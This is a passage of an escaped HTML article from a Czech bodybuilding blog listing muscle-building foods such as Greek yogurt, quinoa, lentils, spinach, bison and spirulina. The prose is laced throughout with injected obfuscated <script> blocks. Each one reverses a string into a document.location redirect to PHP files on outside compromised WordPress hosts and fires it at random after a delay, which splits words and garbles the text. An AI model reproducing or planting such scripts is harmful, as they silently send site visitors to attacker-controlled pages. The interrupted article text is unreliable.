$NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toho op\u0159\u00edt.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>\u0158ECK\u00dd JOGURT<\/strong><\/p>\n<p>Skv\u011bl\u00e1 volba! Tenhle jogurt je <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toti\u017e opravdovou proteinovou bombou, obsahuje dvakr\u00e1t v\u00edce \u017eivin ne\u017e jogurt tradi\u010dn\u00ed. Podobn\u011b jako cottage s\u00fdr nab\u00edz\u00ed p\u0159edev\u0161\u00edm kasein, kter\u00fd je pro svaly dlouhodob\u00fdm zdrojem b\u00edlkovin. Probiotika obsa\u017een\u00e1 v\u00a0\u0159eck\u00e9m jogurtu (v\u011bt\u0161ina t\u011bch<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to jogurt\u016f jich obsahuje opravdu hodn\u011b) zlep\u0161\u00ed tr\u00e1ven\u00ed, vst\u0159eb\u00e1v\u00e1n\u00ed \u017eivin a tlum\u00ed z\u00e1n\u011bty prob\u00edhaj\u00edc\u00ed v\u00a0tr\u00e1vic\u00edm traktu.<\/p>\n<p>BONUSOV\u00dd TIP: dr\u017ete se b\u00edl\u00e9ho, neochucen\u00e9ho jogurtu, kter\u00fd neobsahuje \u017e\u00e1dn\u00e9 p\u0159idan\u00e9 cukry.<\/p>\n<p><strong>QUINOA<\/strong><\/p>\n<p>\u010cas<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to b\u00fdv\u00e1 myln\u011b pova\u017eov\u00e1na na obilovinu, jde ov\u0161em o sem\u00ednka bohat\u00e1 na celou \u0159adu \u017eivin. Je kompletn\u00edm zdrojem b\u00edlkovin a m\u016f\u017eete ji vyu\u017e\u00edt jako n\u00e1hra\u017eku r\u00fd\u017ee. Obsahuje lysin, d\u016fle\u017ei<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tou aminokyselinu, kter\u00e1 se ve vegetari\u00e1nsk\u00fdch zdroj\u00edch v\u011bt\u0161inou nevyskytuje a p\u0159i<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom hraje d\u016fle\u017ei<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tou roli v\u00a0r\u016fstu a regeneraci sval\u016f. Vitamin B2 a mangan obsa\u017een\u00fd v\u00a0quinoe podporuje bun\u011b\u010dn\u00fd metabolismus a chr\u00e1n\u00ed t\u011blo p\u0159ed voln\u00fdmi radik\u00e1ly.<\/p>\n<p>BONUSOV\u00dd TIP: p\u0159idejte quinou do ovesn\u00e9 ka\u0161e a pala\u010dinek, hod\u00ed se na i sal\u00e1ty a do mlet\u00e9ho hov\u011bz\u00edho masa.<\/p>\n<p><strong>\u010cO\u010cKA<\/strong><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\" wp-image-266 alignleft\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/03\/lenses-2097626_640-300x225.jpg\" alt=\"\" width=\"251\" height=\"188\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/03\/lenses-2097626_640-300x225.jpg 300w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/03\/lenses-2097626_640.jpg 640w\" sizes=\"auto, (max-width: 251px) 100vw, 251px\" \/>Jeden \u0161\u00e1lek va\u0159en\u00e9 \u010do\u010dky obsahuje a\u017e 18 gram\u016f b\u00edlkovin a 16 gram\u016f vl\u00e1kniny. Jedn\u00e1 se o skv\u011blou alternativu sacharid\u016f na b\u00e1zi \u0161krob\u016f, jako je r\u00fd\u017ee \u010di kuku\u0159ice. \u010co\u010dka nab\u00edz\u00ed pracuj\u00edc\u00edm sval\u016fm pomalu straviteln\u00e9 sacharidy a dostatek aminokyselin pot\u0159ebn\u00fdch pro intenzivn\u00ed tr\u00e9nink. Je tak\u00e9 v\u00fdznamn\u00fdm zdrojem \u017eeleza a vitamin\u016f B.<\/p>\n<p>BONUSOV\u00dd TIP: existuj\u00ed t\u0159i druhy \u010do\u010dky: \u010derven\u00e1, zelen\u00e1 a hn\u011bd\u00e1. Pokud m\u00e1te m\u00e1lo \u010dasu, va\u0159te \u010do\u010dku \u010dervenou, bude ho<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tov\u00e1 rychleji.<\/p>\n<p><strong>\u0160PEN\u00c1T<\/strong><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\" wp-image-265 alignright\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/03\/spinach-1799266_640-300x284.jpg\" alt=\"\" width=\"262\" height=\"248\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/03\/spinach-1799266_640-300x284.jpg 300w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/03\/spinach-1799266_640.jpg 640w\" sizes=\"auto, (max-width: 262px) 100vw, 262px\" \/>N\u011bkter\u00e9 vlastnosti t\u00e9<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to zeleniny asi net\u0159eba p\u0159edstavovat, ale pravd\u011bpodobn\u011b jste nev\u011bd\u011bli, \u017ee \u0161pen\u00e1t obsahuje fy<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tochemickou l\u00e1tku zvanou 20-beta-ekdysteron, kter\u00e1 podporuje proteosynt\u00e9zu. \u0160pen\u00e1t nab\u00edz\u00ed tak\u00e9 hodn\u011b antioxidant\u016f a \u017eelezo, tzn. l\u00e1tky stimuluj\u00edc\u00ed svalov\u00fd r\u016fst i regeneraci. Je tak\u00e9 zdrojem nitr\u00e1t\u016f, kter\u00e9 zlep\u0161uj\u00ed v\u00fdkonnost mi<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tochondri\u00ed b\u011bhem tr\u00e9ninku.<\/p>\n<p>BONUSOV\u00dd TIP: \u0161pen\u00e1t m\u016f\u017eete j\u00edst \u010derstv\u00fd (obsahuje v\u00edce vitaminu C a kyseliny lis<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tov\u00e9) nebo va\u0159en\u00fd, kter\u00fd nab\u00edz\u00ed v\u00edce vitaminu K, A, B6 a riboflavinu.<\/p>\n<p><strong>BIZON\u00cd MASO<\/strong><\/p>\n<p>Maso bizona vynik\u00e1 p\u0159edev\u0161\u00edm vy\u0161\u0161\u00edm pod\u00edlem b\u00edlkovin a lep\u0161\u00edm aminokyselinov\u00fdm profilem ne\u017e hov\u011bz\u00ed. M\u00e1 tak\u00e9 vy\u0161\u0161\u00ed obsah \u017eeleza a n\u011bkter\u00fdch mastn\u00fdch kyselin. Mnoho studi\u00ed prok\u00e1zalo, \u017ee bizon\u00ed maso je skv\u011bl\u00fdm zdrojem protein\u016f a kulturist\u016fm nab\u00edz\u00ed p\u0159edev\u0161\u00edm \u017eelezo nezbytn\u00e9 pro tvorbu \u010derven\u00fdch krvinek, \u010di zinek d\u016fle\u017eit\u00fd pro r\u016fst sval\u016f. Vitamin B12 p\u0159\u00edzniv\u011b ovliv\u0148uje metabolismus a konjugovan\u00e1 kyselina linolov\u00e1 zvy\u0161uje inzul\u00ednovou senzitivitu + zlep\u0161uje celkovou t\u011blesnou kompozici.<\/p>\n<p>BONUSOV\u00dd TIP: nejlep\u0161\u00ed je maso bizona p\u0159ipravovat na stupe\u0148 medium, skv\u011ble chutn\u00e1 pe\u010den\u00e9 nebo grilovan\u00e9.<\/p>\n<p><strong>SPIRULINA<\/strong><\/p>\n<p>\u010cas<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to se o n\u00ed mluv\u00ed jako o super potravin\u011b. Spirulina je jedl\u00e1 \u0159asa, kter\u00e1 slou\u017e\u00ed jako kompletn\u00ed zdroj b\u00edlkovin. Podporuje r\u016fst sval\u016f a <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to nejenom d\u00edky sv\u00e9mu obsahu b\u00edlkovin, ale tak\u00e9 vzhledem k\u00a0pod\u00edlu vitamin\u016f, miner\u00e1l\u016f a fy<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tonutri\u010dn\u00edch l\u00e1tek. M\u00e1 unik\u00e1tn\u00ed v\u00fd\u017eivov\u00fd profil, tlum\u00ed z\u00e1n\u011bty, posiluje imunitu, stabilizuje hladinu cukru v\u00a0krvi a oddaluje vy\u010derp\u00e1n\u00ed b\u011bhem tr\u00e9ninku.<\/p>\n<p>BONUSOV\u00dd TIP: sna\u017ete se kupovat spirulinu v\u00a0bio kvalit\u011b a <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to bez aditiv a jin\u00fdch p\u0159\u00eddavn\u00fdch l\u00e1tek. P\u0159im\u00edchejte ji do 